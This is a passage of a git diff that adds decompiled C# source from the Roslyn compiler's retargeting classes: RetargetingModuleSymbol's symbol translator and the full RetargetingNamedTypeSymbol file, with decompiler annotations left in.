NamedTypeSymbol namedTypeSymbol = Retarget(containingType, RetargetOptions.RetargetPrimitiveTypesByName); + if ((object)namedTypeSymbol == containingType) + { + return method; + } + if (!containingType.IsDefinition) + { + return Retarget(method.OriginalDefinition, retargetedMethodComparer)?.AsMember(namedTypeSymbol); + } + return FindMethodInRetargetedType(method, namedTypeSymbol, retargetedMethodComparer); + } + + public FieldSymbol Retarget(FieldSymbol field) + { + return (FieldSymbol)SymbolMap.GetOrAdd(field, _retargetingModule._createRetargetingField); + } + + public PropertySymbol Retarget(PropertySymbol property) + { + return (PropertySymbol)SymbolMap.GetOrAdd(property, _retargetingModule._createRetargetingProperty); + } + + public PropertySymbol Retarget(PropertySymbol property, IEqualityComparer retargetedPropertyComparer) + { + if ((object)property.ContainingModule == UnderlyingModule && (object)property == property.OriginalDefinition) + { + return Retarget(property); + } + NamedTypeSymbol containingType = property.ContainingType; + NamedTypeSymbol namedTypeSymbol = Retarget(containingType, RetargetOptions.RetargetPrimitiveTypesByName); + if ((object)namedTypeSymbol != containingType) + { + return FindPropertyInRetargetedType(property, namedTypeSymbol, retargetedPropertyComparer); + } + return property; + } + + public EventSymbol Retarget(EventSymbol @event) + { + if ((object)@event.ContainingModule == UnderlyingModule && (object)@event == @event.OriginalDefinition) + { + return (EventSymbol)SymbolMap.GetOrAdd(@event, _retargetingModule._createRetargetingEvent); + } + NamedTypeSymbol containingType = @event.ContainingType; + NamedTypeSymbol namedTypeSymbol = Retarget(containingType, RetargetOptions.RetargetPrimitiveTypesByName); + if ((object)namedTypeSymbol != containingType) + { + return FindEventInRetargetedType(@event, namedTypeSymbol); + } + return @event; + } + + private MethodSymbol FindMethodInRetargetedType(MethodSymbol method, NamedTypeSymbol retargetedType, IEqualityComparer retargetedMethodComparer) + { + return RetargetedTypeMethodFinder.Find(this, method, retargetedType, retargetedMethodComparer); + } + + private PropertySymbol FindPropertyInRetargetedType(PropertySymbol property, NamedTypeSymbol retargetedType, IEqualityComparer retargetedPropertyComparer) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Invalid comparison between Unknown and I4 + ImmutableArray parameters = ImmutableArrayExtensions.SelectAsArray(property.Parameters, (Func)((ParameterSymbol param, RetargetingSymbolTranslator self) => new SignatureOnlyParameterSymbol(self.Retarget(param.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode), self.RetargetModifiers(param.RefCustomModifiers, out var _), param.IsParams, param.RefKind)), this); + bool modifiersHaveChanged; + SignatureOnlyPropertySymbol y = new SignatureOnlyPropertySymbol(property.Name, retargetedType, parameters, property.RefKind, Retarget(property.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode), RetargetModifiers(property.RefCustomModifiers, out modifiersHaveChanged), property.IsStatic, ImmutableArray.Empty); + ImmutableArray.Enumerator enumerator = retargetedType.GetMembers(property.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)current; + if (retargetedPropertyComparer.Equals(propertySymbol, y)) + { + return propertySymbol; + } + } + } + return null; + } + + private EventSymbol FindEventInRetargetedType(EventSymbol @event, NamedTypeSymbol retargetedType) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Invalid comparison between Unknown and I4 + TypeWithAnnotations typeWithAnnotations = Retarget(@event.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + ImmutableArray.Enumerator enumerator = retargetedType.GetMembers(@event.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 5) + { + EventSymbol eventSymbol = (EventSymbol)current; + if (TypeSymbol.Equals(eventSymbol.Type, typeWithAnnotations.Type, (TypeCompareKind)0)) + { + return eventSymbol; + } + } + } + return null; + } + + internal ImmutableArray RetargetModifiers(ImmutableArray oldModifiers, ref ImmutableArray lazyCustomModifiers) + { + if (lazyCustomModifiers.IsDefault) + { + bool modifiersHaveChanged; + ImmutableArray value = RetargetModifiers(oldModifiers, out modifiersHaveChanged); + ImmutableInterlocked.InterlockedCompareExchange(ref lazyCustomModifiers, value, default(ImmutableArray)); + } + return lazyCustomModifiers; + } + + private ImmutableArray RetargetAttributes(ImmutableArray oldAttributes) + { + return ImmutableArrayExtensions.SelectAsArray(oldAttributes, (Func)((CSharpAttributeData a, RetargetingSymbolTranslator t) => t.RetargetAttributeData(a)), this); + } + + internal IEnumerable RetargetAttributes(IEnumerable attributes) + { + foreach (CSharpAttributeData attribute in attributes) + { + yield return RetargetAttributeData(attribute); + } + } + + private CSharpAttributeData RetargetAttributeData(CSharpAttributeData oldAttributeData) + { + SourceAttributeData sourceAttributeData = (SourceAttributeData)oldAttributeData; + MethodSymbol attributeConstructor = sourceAttributeData.AttributeConstructor; + MethodSymbol methodSymbol = (((object)attributeConstructor == null) ? null : Retarget(attributeConstructor, MemberSignatureComparer.RetargetedExplicitImplementationComparer)); + NamedTypeSymbol attributeClass = sourceAttributeData.AttributeClass; + NamedTypeSymbol attributeClass2 = (((object)methodSymbol != null) ? methodSymbol.ContainingType : (((object)attributeClass == null) ? null : Retarget(attributeClass, RetargetOptions.RetargetPrimitiveTypesByTypeCode))); + ImmutableArray commonConstructorArguments = ((AttributeData)sourceAttributeData).CommonConstructorArguments; + ImmutableArray constructorArguments = RetargetAttributeConstructorArguments(commonConstructorArguments); + ImmutableArray> commonNamedArguments = ((AttributeData)sourceAttributeData).CommonNamedArguments; + ImmutableArray> namedArguments = RetargetAttributeNamedArguments(commonNamedArguments); + return new RetargetingAttributeData(sourceAttributeData.ApplicationSyntaxReference, attributeClass2, methodSymbol, constructorArguments, sourceAttributeData.ConstructorArgumentsSourceIndices, namedArguments, ((AttributeData)sourceAttributeData).HasErrors || (object)methodSymbol == null, ((AttributeData)sourceAttributeData).IsConditionallyOmitted); + } + + private ImmutableArray RetargetAttributeConstructorArguments(ImmutableArray constructorArguments) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray result = constructorArguments; + bool typedConstantChanged = false; + if (!constructorArguments.IsDefault && constructorArguments.Any()) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(constructorArguments.Length); + ImmutableArray.Enumerator enumerator = constructorArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypedConstant current = enumerator.Current; + TypedConstant val = RetargetTypedConstant(current, ref typedConstantChanged); + instance.Add(val); + } + if (typedConstantChanged) + { + result = instance.ToImmutable(); + } + instance.Free(); + } + return result; + } + + private TypedConstant RetargetTypedConstant(TypedConstant oldConstant, ref bool typedConstantChanged) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol typeSymbol = (TypeSymbol)(object)((TypedConstant)(ref oldConstant)).TypeInternal; + TypeSymbol typeSymbol2 = (((object)typeSymbol == null) ? null : Retarget(typeSymbol, RetargetOptions.RetargetPrimitiveTypesByTypeCode)); + if ((int)((TypedConstant)(ref oldConstant)).Kind == 4) + { + ImmutableArray immutableArray = RetargetAttributeConstructorArguments(((TypedConstant)(ref oldConstant)).Values); + if (!TypeSymbol.Equals(typeSymbol2, typeSymbol, (TypeCompareKind)0) || immutableArray != ((TypedConstant)(ref oldConstant)).Values) + { + typedConstantChanged = true; + return new TypedConstant((ITypeSymbolInternal)(object)typeSymbol2, immutableArray); + } + return oldConstant; + } + object valueInternal = ((TypedConstant)(ref oldConstant)).ValueInternal; + object obj = (((int)((TypedConstant)(ref oldConstant)).Kind != 3 || valueInternal == null) ? valueInternal : Retarget((TypeSymbol)valueInternal, RetargetOptions.RetargetPrimitiveTypesByTypeCode)); + if (!TypeSymbol.Equals(typeSymbol2, typeSymbol, (TypeCompareKind)0) || obj != valueInternal) + { + typedConstantChanged = true; + return new TypedConstant((ITypeSymbolInternal)(object)typeSymbol2, ((TypedConstant)(ref oldConstant)).Kind, obj); + } + return oldConstant; + } + + private ImmutableArray> RetargetAttributeNamedArguments(ImmutableArray> namedArguments) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray> result = namedArguments; + bool flag = false; + if (namedArguments.Any()) + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(namedArguments.Length); + ImmutableArray>.Enumerator enumerator = namedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + TypedConstant value = current.Value; + bool typedConstantChanged = false; + TypedConstant value2 = RetargetTypedConstant(value, ref typedConstantChanged); + if (typedConstantChanged) + { + instance.Add(new KeyValuePair(current.Key, value2)); + flag = true; + } + else + { + instance.Add(current); + } + } + if (flag) + { + result = instance.ToImmutable(); + } + instance.Free(); + } + return result; + } + + internal ImmutableArray GetRetargetedAttributes(ImmutableArray underlyingAttributes, ref ImmutableArray lazyCustomAttributes) + { + if (lazyCustomAttributes.IsDefault) + { + ImmutableArray value = RetargetAttributes(underlyingAttributes); + ImmutableInterlocked.InterlockedCompareExchange(ref lazyCustomAttributes, value, default(ImmutableArray)); + } + return lazyCustomAttributes; + } + + public override Symbol VisitModule(ModuleSymbol symbol, RetargetOptions options) + { + return _retargetingModule; + } + + public override Symbol VisitNamespace(NamespaceSymbol symbol, RetargetOptions options) + { + return Retarget(symbol); + } + + public override Symbol VisitNamedType(NamedTypeSymbol symbol, RetargetOptions options) + { + return Retarget(symbol, options); + } + + public override Symbol VisitArrayType(ArrayTypeSymbol symbol, RetargetOptions options) + { + return Retarget(symbol); + } + + public override Symbol VisitPointerType(PointerTypeSymbol symbol, RetargetOptions options) + { + return Retarget(symbol); + } + + public override Symbol VisitFunctionPointerType(FunctionPointerTypeSymbol symbol, RetargetOptions argument) + { + return Retarget(symbol); + } + + public override Symbol VisitMethod(MethodSymbol symbol, RetargetOptions options) + { + return Retarget(symbol); + } + + public override Symbol VisitParameter(ParameterSymbol symbol, RetargetOptions options) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Retargeting/RetargetingSymbolTranslator.cs", 1364); + } + + public override Symbol VisitField(FieldSymbol symbol, RetargetOptions options) + { + return Retarget(symbol); + } + + public override Symbol VisitProperty(PropertySymbol symbol, RetargetOptions argument) + { + return Retarget(symbol); + } + + public override Symbol VisitTypeParameter(TypeParameterSymbol symbol, RetargetOptions options) + { + return Retarget(symbol); + } + + public override Symbol VisitErrorType(ErrorTypeSymbol symbol, RetargetOptions options) + { + return Retarget(symbol); + } + + public override Symbol VisitEvent(EventSymbol symbol, RetargetOptions options) + { + return Retarget(symbol); + } + + public override Symbol VisitDynamicType(DynamicTypeSymbol symbol, RetargetOptions argument) + { + return symbol; + } + } + + private readonly RetargetingAssemblySymbol _retargetingAssembly; + + private readonly SourceModuleSymbol _underlyingModule; + + private readonly Dictionary _retargetingAssemblyMap = new Dictionary(); + + internal readonly RetargetingSymbolTranslator RetargetingTranslator; + + private ImmutableArray _lazyCustomAttributes; + + private readonly ConcurrentDictionary _symbolMap = new ConcurrentDictionary(2, 4); + + private readonly Func _createRetargetingMethod; + + private readonly Func _createRetargetingNamespace; + + private readonly Func _createRetargetingTypeParameter; + + private readonly Func _createRetargetingNamedType; + + private readonly Func _createRetargetingField; + + private readonly Func _createRetargetingProperty; + + private readonly Func _createRetargetingEvent; + + internal override int Ordinal => 0; + + internal override Machine Machine => _underlyingModule.Machine; + + internal override bool Bit32Required => _underlyingModule.Bit32Required; + + public SourceModuleSymbol UnderlyingModule => _underlyingModule; + + public override NamespaceSymbol GlobalNamespace => RetargetingTranslator.Retarget(_underlyingModule.GlobalNamespace); + + public override bool IsImplicitlyDeclared => _underlyingModule.IsImplicitlyDeclared; + + public override string Name => _underlyingModule.Name; + + public override Symbol ContainingSymbol => _retargetingAssembly; + + public override AssemblySymbol ContainingAssembly => _retargetingAssembly; + + public override ImmutableArray Locations => _underlyingModule.Locations; + + internal override ICollection TypeNames => _underlyingModule.TypeNames; + + internal override ICollection NamespaceNames => _underlyingModule.NamespaceNames; + + internal override bool HasAssemblyCompilationRelaxationsAttribute => _underlyingModule.HasAssemblyCompilationRelaxationsAttribute; + + internal override bool HasAssemblyRuntimeCompatibilityAttribute => _underlyingModule.HasAssemblyRuntimeCompatibilityAttribute; + + internal override CharSet? DefaultMarshallingCharSet => _underlyingModule.DefaultMarshallingCharSet; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Retargeting/RetargetingModuleSymbol.cs", 316); + } + } + + internal override bool UseUpdatedEscapeRules => _underlyingModule.UseUpdatedEscapeRules; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => _underlyingModule.ObsoleteAttributeData; + + public RetargetingModuleSymbol(RetargetingAssemblySymbol retargetingAssembly, SourceModuleSymbol underlyingModule) + { + _retargetingAssembly = retargetingAssembly; + _underlyingModule = underlyingModule; + RetargetingTranslator = new RetargetingSymbolTranslator(this); + _createRetargetingMethod = CreateRetargetingMethod; + _createRetargetingNamespace = CreateRetargetingNamespace; + _createRetargetingNamedType = CreateRetargetingNamedType; + _createRetargetingField = CreateRetargetingField; + _createRetargetingProperty = CreateRetargetingProperty; + _createRetargetingEvent = CreateRetargetingEvent; + _createRetargetingTypeParameter = CreateRetargetingTypeParameter; + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingModule.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } + + internal override void SetReferences(ModuleReferences moduleReferences, SourceAssemblySymbol originatingSourceAssemblyDebugOnly) + { + base.SetReferences(moduleReferences, originatingSourceAssemblyDebugOnly); + _retargetingAssemblyMap.Clear(); + ImmutableArray referencedAssemblySymbols = _underlyingModule.GetReferencedAssemblySymbols(); + ImmutableArray symbols = moduleReferences.Symbols; + int num = 0; + int i = 0; + while (num < symbols.Length) + { + for (; referencedAssemblySymbols[i].IsLinked; i++) + { + } + if ((object)symbols[num] != referencedAssemblySymbols[i] && !_retargetingAssemblyMap.TryGetValue(referencedAssemblySymbols[i], out var _)) + { + _retargetingAssemblyMap.Add(referencedAssemblySymbols[i], new DestinationData + { + To = symbols[num] + }); + } + num++; + i++; + } + } + + internal bool RetargetingDefinitions(AssemblySymbol from, out AssemblySymbol to) + { + if (!_retargetingAssemblyMap.TryGetValue(from, out var value)) + { + to = null; + return false; + } + to = value.To; + return true; + } + + public override ImmutableArray GetAttributes() + { + return RetargetingTranslator.GetRetargetedAttributes(_underlyingModule.GetAttributes(), ref _lazyCustomAttributes); + } + + public override ModuleMetadata GetMetadata() + { + return _underlyingModule.GetMetadata(); + } + + private RetargetingMethodSymbol CreateRetargetingMethod(Symbol symbol) + { + return new RetargetingMethodSymbol(this, (MethodSymbol)symbol); + } + + private RetargetingNamespaceSymbol CreateRetargetingNamespace(Symbol symbol) + { + return new RetargetingNamespaceSymbol(this, (NamespaceSymbol)symbol); + } + + private RetargetingNamedTypeSymbol CreateRetargetingNamedType(Symbol symbol) + { + return new RetargetingNamedTypeSymbol(this, (NamedTypeSymbol)symbol); + } + + private FieldSymbol CreateRetargetingField(Symbol symbol) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + if (symbol is TupleErrorFieldSymbol { CorrespondingTupleField: var correspondingTupleField } tupleErrorFieldSymbol) + { + TupleErrorFieldSymbol correspondingDefaultFieldOpt = (((object)correspondingTupleField == tupleErrorFieldSymbol) ? null : ((TupleErrorFieldSymbol)RetargetingTranslator.Retarget(correspondingTupleField))); + return new TupleErrorFieldSymbol(RetargetingTranslator.Retarget(tupleErrorFieldSymbol.ContainingType, RetargetOptions.RetargetPrimitiveTypesByName), tupleErrorFieldSymbol.Name, tupleErrorFieldSymbol.TupleElementIndex, tupleErrorFieldSymbol.TryGetFirstLocation(), RetargetingTranslator.Retarget(tupleErrorFieldSymbol.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode), tupleErrorFieldSymbol.GetUseSiteInfo().DiagnosticInfo, tupleErrorFieldSymbol.IsImplicitlyDeclared, correspondingDefaultFieldOpt); + } + return new RetargetingFieldSymbol(this, (FieldSymbol)symbol); + } + + private RetargetingPropertySymbol CreateRetargetingProperty(Symbol symbol) + { + return new RetargetingPropertySymbol(this, (PropertySymbol)symbol); + } + + private RetargetingEventSymbol CreateRetargetingEvent(Symbol symbol) + { + return new RetargetingEventSymbol(this, (EventSymbol)symbol); + } + + private RetargetingTypeParameterSymbol CreateRetargetingTypeParameter(Symbol symbol) + { + return new RetargetingTypeParameterSymbol(this, (TypeParameterSymbol)symbol); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingNamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingNamedTypeSymbol.cs new file mode 100644 index 0000000..3b0329d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingNamedTypeSymbol.cs @@ -0,0 +1,361 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingNamedTypeSymbol : WrappedNamedTypeSymbol +{ + private readonly RetargetingModuleSymbol _retargetingModule; + + private ImmutableArray _lazyTypeParameters; + + private NamedTypeSymbol _lazyBaseType = ErrorTypeSymbol.UnknownResultType; + + private ImmutableArray _lazyInterfaces; + + private NamedTypeSymbol _lazyDeclaredBaseType = ErrorTypeSymbol.UnknownResultType; + + private ImmutableArray _lazyDeclaredInterfaces; + + private ImmutableArray _lazyCustomAttributes; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private RetargetingModuleSymbol.RetargetingSymbolTranslator RetargetingTranslator => _retargetingModule.RetargetingTranslator; + + public override ImmutableArray TypeParameters + { + get + { + if (_lazyTypeParameters.IsDefault) + { + if (Arity == 0) + { + _lazyTypeParameters = ImmutableArray.Empty; + } + else + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyTypeParameters, RetargetingTranslator.Retarget(_underlyingType.TypeParameters), default(ImmutableArray)); + } + } + return _lazyTypeParameters; + } + } + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + public override NamedTypeSymbol ConstructedFrom => this; + + public override NamedTypeSymbol EnumUnderlyingType + { + get + { + NamedTypeSymbol enumUnderlyingType = _underlyingType.EnumUnderlyingType; + if ((object)enumUnderlyingType != null) + { + return RetargetingTranslator.Retarget(enumUnderlyingType, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + } + return null; + } + } + + public override IEnumerable MemberNames => _underlyingType.MemberNames; + + internal override bool HasDeclaredRequiredMembers => _underlyingType.HasDeclaredRequiredMembers; + + public override Symbol ContainingSymbol => RetargetingTranslator.Retarget(_underlyingType.ContainingSymbol); + + public override AssemblySymbol ContainingAssembly => _retargetingModule.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _retargetingModule; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics + { + get + { + if ((object)_lazyBaseType == ErrorTypeSymbol.UnknownResultType) + { + NamedTypeSymbol namedTypeSymbol = GetDeclaredBaseType(null); + if ((object)namedTypeSymbol == null) + { + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = _underlyingType.BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + namedTypeSymbol = RetargetingTranslator.Retarget(baseTypeNoUseSiteDiagnostics, RetargetOptions.RetargetPrimitiveTypesByName); + } + } + if ((object)namedTypeSymbol != null && BaseTypeAnalysis.TypeDependsOn(namedTypeSymbol, this)) + { + return CyclicInheritanceError(namedTypeSymbol); + } + Interlocked.CompareExchange(ref _lazyBaseType, namedTypeSymbol, ErrorTypeSymbol.UnknownResultType); + } + return _lazyBaseType; + } + } + + internal override NamedTypeSymbol ComImportCoClass + { + get + { + NamedTypeSymbol comImportCoClass = _underlyingType.ComImportCoClass; + if ((object)comImportCoClass != null) + { + return RetargetingTranslator.Retarget(comImportCoClass, RetargetOptions.RetargetPrimitiveTypesByName); + } + return null; + } + } + + internal override bool IsComImport => _underlyingType.IsComImport; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Retargeting/RetargetingNamedTypeSymbol.cs", 384); + } + } + + internal override bool IsFileLocal => _underlyingType.IsFileLocal; + + internal override FileIdentifier AssociatedFileIdentifier => _underlyingType.AssociatedFileIdentifier; + + internal sealed override NamedTypeSymbol NativeIntegerUnderlyingType => null; + + internal sealed override bool IsRecord => _underlyingType.IsRecord; + + internal sealed override bool IsRecordStruct => _underlyingType.IsRecordStruct; + + public RetargetingNamedTypeSymbol(RetargetingModuleSymbol retargetingModule, NamedTypeSymbol underlyingType, TupleExtraData tupleData = null) + : base(underlyingType, tupleData) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + _retargetingModule = retargetingModule; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new RetargetingNamedTypeSymbol(_retargetingModule, _underlyingType, newData); + } + + public override ImmutableArray GetMembers() + { + return RetargetingTranslator.Retarget(_underlyingType.GetMembers()); + } + + internal override ImmutableArray GetMembersUnordered() + { + return RetargetingTranslator.Retarget(_underlyingType.GetMembersUnordered()); + } + + public override ImmutableArray GetMembers(string name) + { + return RetargetingTranslator.Retarget(_underlyingType.GetMembers(name)); + } + + internal override IEnumerable GetFieldsToEmit() + { + foreach (FieldSymbol item in _underlyingType.GetFieldsToEmit()) + { + yield return RetargetingTranslator.Retarget(item); + } + } + + internal override IEnumerable GetMethodsToEmit() + { + bool isInterface = _underlyingType.IsInterfaceType(); + foreach (MethodSymbol item in _underlyingType.GetMethodsToEmit()) + { + int gapSize = (isInterface ? ModuleExtensions.GetVTableGapSize(item.MetadataName) : 0); + if (gapSize > 0) + { + do + { + yield return null; + gapSize--; + } + while (gapSize > 0); + } + else + { + yield return RetargetingTranslator.Retarget(item); + } + } + } + + internal override IEnumerable GetPropertiesToEmit() + { + foreach (PropertySymbol item in _underlyingType.GetPropertiesToEmit()) + { + yield return RetargetingTranslator.Retarget(item); + } + } + + internal override IEnumerable GetEventsToEmit() + { + foreach (EventSymbol item in _underlyingType.GetEventsToEmit()) + { + yield return RetargetingTranslator.Retarget(item); + } + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + return RetargetingTranslator.Retarget(_underlyingType.GetEarlyAttributeDecodingMembers()); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + return RetargetingTranslator.Retarget(_underlyingType.GetEarlyAttributeDecodingMembers(name)); + } + + internal override ImmutableArray GetTypeMembersUnordered() + { + return RetargetingTranslator.Retarget(_underlyingType.GetTypeMembersUnordered()); + } + + public override ImmutableArray GetTypeMembers() + { + return RetargetingTranslator.Retarget(_underlyingType.GetTypeMembers()); + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return RetargetingTranslator.Retarget(_underlyingType.GetTypeMembers(name)); + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return RetargetingTranslator.Retarget(_underlyingType.GetTypeMembers(name, arity)); + } + + public override ImmutableArray GetAttributes() + { + return RetargetingTranslator.GetRetargetedAttributes(_underlyingType.GetAttributes(), ref _lazyCustomAttributes); + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return RetargetingTranslator.RetargetAttributes(_underlyingType.GetCustomAttributesToEmit(moduleBuilder)); + } + + internal override NamedTypeSymbol? LookupMetadataType(ref MetadataTypeName typeName) + { + NamedTypeSymbol namedTypeSymbol = _underlyingType.LookupMetadataType(ref typeName); + if ((object)namedTypeSymbol == null) + { + return null; + } + return RetargetingTranslator.Retarget(namedTypeSymbol, RetargetOptions.RetargetPrimitiveTypesByName); + } + + private static ExtendedErrorTypeSymbol CyclicInheritanceError(TypeSymbol declaredBase) + { + CSDiagnosticInfo errorInfo = new CSDiagnosticInfo(ErrorCode.ERR_ImportedCircularBase, declaredBase); + return new ExtendedErrorTypeSymbol(declaredBase, LookupResultKind.NotReferencable, (DiagnosticInfo)(object)errorInfo, unreported: true); + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + if (_lazyInterfaces.IsDefault) + { + ImmutableArray declaredInterfaces = GetDeclaredInterfaces(basesBeingResolved); + if (!IsInterface) + { + return declaredInterfaces; + } + ImmutableArray value = ImmutableArrayExtensions.SelectAsArray(declaredInterfaces, (Func)((NamedTypeSymbol t) => (!BaseTypeAnalysis.TypeDependsOn(t, this)) ? t : CyclicInheritanceError(t))); + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyInterfaces, value, default(ImmutableArray)); + } + return _lazyInterfaces; + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return RetargetingTranslator.Retarget(_underlyingType.GetInterfacesToEmit()); + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + if ((object)_lazyDeclaredBaseType == ErrorTypeSymbol.UnknownResultType) + { + NamedTypeSymbol declaredBaseType = _underlyingType.GetDeclaredBaseType(basesBeingResolved); + NamedTypeSymbol value = (((object)declaredBaseType != null) ? RetargetingTranslator.Retarget(declaredBaseType, RetargetOptions.RetargetPrimitiveTypesByName) : null); + Interlocked.CompareExchange(ref _lazyDeclaredBaseType, value, ErrorTypeSymbol.UnknownResultType); + } + return _lazyDeclaredBaseType; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + if (_lazyDeclaredInterfaces.IsDefault) + { + ImmutableArray declaredInterfaces = _underlyingType.GetDeclaredInterfaces(basesBeingResolved); + ImmutableArray value = RetargetingTranslator.Retarget(declaredInterfaces); + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyDeclaredInterfaces, value, default(ImmutableArray)); + } + return _lazyDeclaredInterfaces; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + AssemblySymbol primaryDependency = base.PrimaryDependency; + _lazyCachedUseSiteInfo.Initialize(primaryDependency, new UseSiteInfo(primaryDependency).AdjustDiagnosticInfo(CalculateUseSiteDiagnostic())); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(base.PrimaryDependency); + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Retargeting/RetargetingNamedTypeSymbol.cs", 390); + } + + internal sealed override bool HasPossibleWellKnownCloneMethod() + { + return _underlyingType.HasPossibleWellKnownCloneMethod(); + } + + internal override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + foreach (var item3 in _underlyingType.SynthesizedInterfaceMethodImpls()) + { + MethodSymbol item = item3.Body; + MethodSymbol item2 = item3.Implemented; + MethodSymbol methodSymbol = RetargetingTranslator.Retarget(item, MemberSignatureComparer.RetargetedExplicitImplementationComparer); + MethodSymbol methodSymbol2 = RetargetingTranslator.Retarget(item2, MemberSignatureComparer.RetargetedExplicitImplementationComparer); + if ((object)methodSymbol != null && (object)methodSymbol2 != null) + { + yield return (Body: methodSymbol, Implemented: methodSymbol2); + } + } + } + + internal override bool HasInlineArrayAttribute(out int length) + { + return _underlyingType.HasInlineArrayAttribute(out length); + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + bool result = _underlyingType.HasCollectionBuilderAttribute(out builderType, out methodName); + if ((object)builderType != null) + { + builderType = RetargetingTranslator.Retarget(builderType, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + } + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingNamespaceSymbol.cs 